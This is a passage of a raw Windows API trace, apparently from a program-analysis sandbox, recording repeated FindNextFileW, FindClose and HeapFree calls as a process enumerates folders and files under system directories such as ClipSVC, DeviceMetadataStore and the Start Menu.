cAlternateFileName="")) returned 1 [0196.470] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0196.470] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e4e338, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xadc9b08d, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xadc74e2f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x4317, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxProvisioning.xml", cAlternateFileName="APPXPR~1.XML")) returned 1 [0196.471] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0196.471] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x5f8e6a3f, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x6b7c9043, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ClipSVC", cAlternateFileName="")) returned 1 [0196.481] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0196.481] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7457cd, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x1302615f, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0x1302615f, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Apps", cAlternateFileName="")) returned 0 [0196.481] FindClose (in: hFindFile=0x4531880 | out: hFindFile=0x4531880) returned 1 [0196.481] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0196.482] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2032263, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GenuineTicket", cAlternateFileName="GENUIN~1")) returned 1 [0196.484] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0196.484] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x6ecf30bd, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x6f6ef001, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Import", cAlternateFileName="")) returned 1 [0196.487] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0196.487] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6ecf30bd, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x6ecf30bd, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x6ecf30bd, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="InApp", cAlternateFileName="")) returned 0 [0196.487] FindClose (in: hFindFile=0x4531b40 | out: hFindFile=0x4531b40) returned 1 [0196.487] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0196.488] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x6ecf30bd, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x6ecf30bd, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Install", cAlternateFileName="")) returned 1 [0196.489] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0196.489] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6ecf30bd, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x6ecf30bd, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x6ecf30bd, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Device", cAlternateFileName="")) returned 1 [0196.490] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0196.490] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6ecf30bd, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x6ecf30bd, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x6ecf30bd, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="KeyHolder", cAlternateFileName="KEYHOL~1")) returned 1 [0196.490] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0196.490] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f20423e, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x6f7fa098, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x6f7fa098, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Migration", cAlternateFileName="MIGRAT~1")) returned 1 [0196.795] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0196.795] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f20423e, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x6f7fa098, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x6f7fa098, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Migration", cAlternateFileName="MIGRAT~1")) returned 0 [0196.795] FindClose (in: hFindFile=0x4531c40 | out: hFindFile=0x4531c40) returned 1 [0196.796] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0196.796] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1b51a174, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x5f90cd16, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x6b7c9043, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xdc870, dwReserved0=0x0, dwReserved1=0x0, cFileName="tokens.dat", cAlternateFileName="")) returned 1 [0196.796] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0196.797] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f00595d, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xb628a51f, ftLastAccessTime.dwHighDateTime=0x1d535a3, ftLastWriteTime.dwLowDateTime=0xb628a51f, ftLastWriteTime.dwHighDateTime=0x1d535a3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DeviceMetadataCache", cAlternateFileName="DEVICE~2")) returned 1 [0196.798] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0196.798] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x8f00595d, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x8f00595d, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x8f00595d, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="downloads", cAlternateFileName="DOWNLO~1")) returned 0 [0196.798] FindClose (in: hFindFile=0x4532140 | out: hFindFile=0x4532140) returned 1 [0196.798] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0196.798] FindNextFileW (in: hFindFile=0x4532340, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f00595d, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x8f00595d, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x8f00595d, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dmrccache", cAlternateFileName="DMRCCA~1")) returned 0 [0196.799] FindClose (in: hFindFile=0x4532340 | out: hFindFile=0x4532340) returned 1 [0196.799] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0196.800] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2129d74, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DeviceMetadataStore", cAlternateFileName="DEVICE~1")) returned 1 [0196.801] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0196.801] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc212a24b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8fdd8c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0196.801] FindClose (in: hFindFile=0x4532140 | out: hFindFile=0x4532140) returned 1 [0196.801] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0196.801] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc212a839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="GameExplorer", cAlternateFileName="GAMEEX~1")) returned 1 [0196.801] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0196.801] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xf4120249, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xf4120249, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LfSvc", cAlternateFileName="")) returned 1 [0196.801] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0196.801] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc212c481, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PackagedEventProviders", cAlternateFileName="PACKAG~1")) returned 1 [0196.802] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0196.802] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc212c80e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17ce1766, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Parental Controls", cAlternateFileName="PARENT~1")) returned 1 [0196.802] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0196.802] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc212cd78, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17ce1766, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings", cAlternateFileName="")) returned 0 [0196.802] FindClose (in: hFindFile=0x4532140 | out: hFindFile=0x4532140) returned 1 [0196.802] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0196.802] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1516f86b, ftLastAccessTime.dwHighDateTime=0x1d336da, ftLastWriteTime.dwLowDateTime=0x1516f86b, ftLastWriteTime.dwHighDateTime=0x1d336da, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Power Efficiency Diagnostics", cAlternateFileName="POWERE~1")) returned 1 [0196.802] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0196.802] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc21e5ea3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17ce1766, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Ringtones", cAlternateFileName="RINGTO~1")) returned 1 [0196.802] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0196.802] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedcf5f61, ftCreationTime.dwHighDateTime=0x1d336d9, ftLastAccessTime.dwLowDateTime=0xeeb42f5b, ftLastAccessTime.dwHighDateTime=0x1d336d9, ftLastWriteTime.dwLowDateTime=0xeeb42f5b, ftLastWriteTime.dwHighDateTime=0x1d336d9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SleepStudy", cAlternateFileName="SLEEPS~1")) returned 1 [0196.803] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0196.803] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8440cf44, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8440cf44, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x8440cf44, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Sqm", cAlternateFileName="")) returned 1 [0196.803] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0196.803] FindNextFileW (in: hFindFile=0x4532340, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8440cf44, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8440cf44, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x8440cf44, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sessions", cAlternateFileName="")) returned 1 [0196.803] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0196.803] FindNextFileW (in: hFindFile=0x4532340, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8440cf44, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8440cf44, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x8440cf44, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Upload", cAlternateFileName="")) returned 1 [0196.803] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0196.803] FindNextFileW (in: hFindFile=0x4532340, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8440cf44, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8440cf44, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x8440cf44, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Upload", cAlternateFileName="")) returned 0 [0196.803] FindClose (in: hFindFile=0x4532340 | out: hFindFile=0x4532340) returned 1 [0196.804] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0196.804] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc229ee00, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a923ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0196.804] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0196.804] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc234b032, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x47011dad, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Accessories", cAlternateFileName="ACCESS~2")) returned 1 [0196.805] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0196.805] FindNextFileW (in: hFindFile=0x4532340, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6ec61aae, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0xc234d9cc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6ec61aae, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tablet PC", cAlternateFileName="TABLET~1")) returned 1 [0196.805] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0196.805] FindNextFileW (in: hFindFile=0x4532340, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x955ce979, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x955ce979, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x955ce979, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x448, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Fax and Scan.lnk", cAlternateFileName="")) returned 1 [0196.806] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0196.806] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38b1d2da, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2eb3f5a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe2eda1a5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x999, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Acrobat Reader DC.lnk", cAlternateFileName="ACROBA~1.LNK")) returned 1 [0196.807] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0196.807] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1a923ff6, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x96fe9bef, ftLastAccessTime.dwHighDateTime=0x1d32794, ftLastWriteTime.dwLowDateTime=0x6e749736, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x31c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0196.809] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0196.809] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc248d7d2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a9704bf, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Maintenance", cAlternateFileName="MAINTE~1")) returned 1 [0196.809] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0196.809] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4b0ade7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfd412f52, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xfd412f52, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft Office 2016 Tools", cAlternateFileName="MICROS~1")) returned 1 [0196.812] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0196.812] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x25, ftCreationTime.dwLowDateTime=0x496f62c5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x496f62c5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x496f62c5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8ab, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MiracastView.lnk", cAlternateFileName="")) returned 1 [0196.813] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 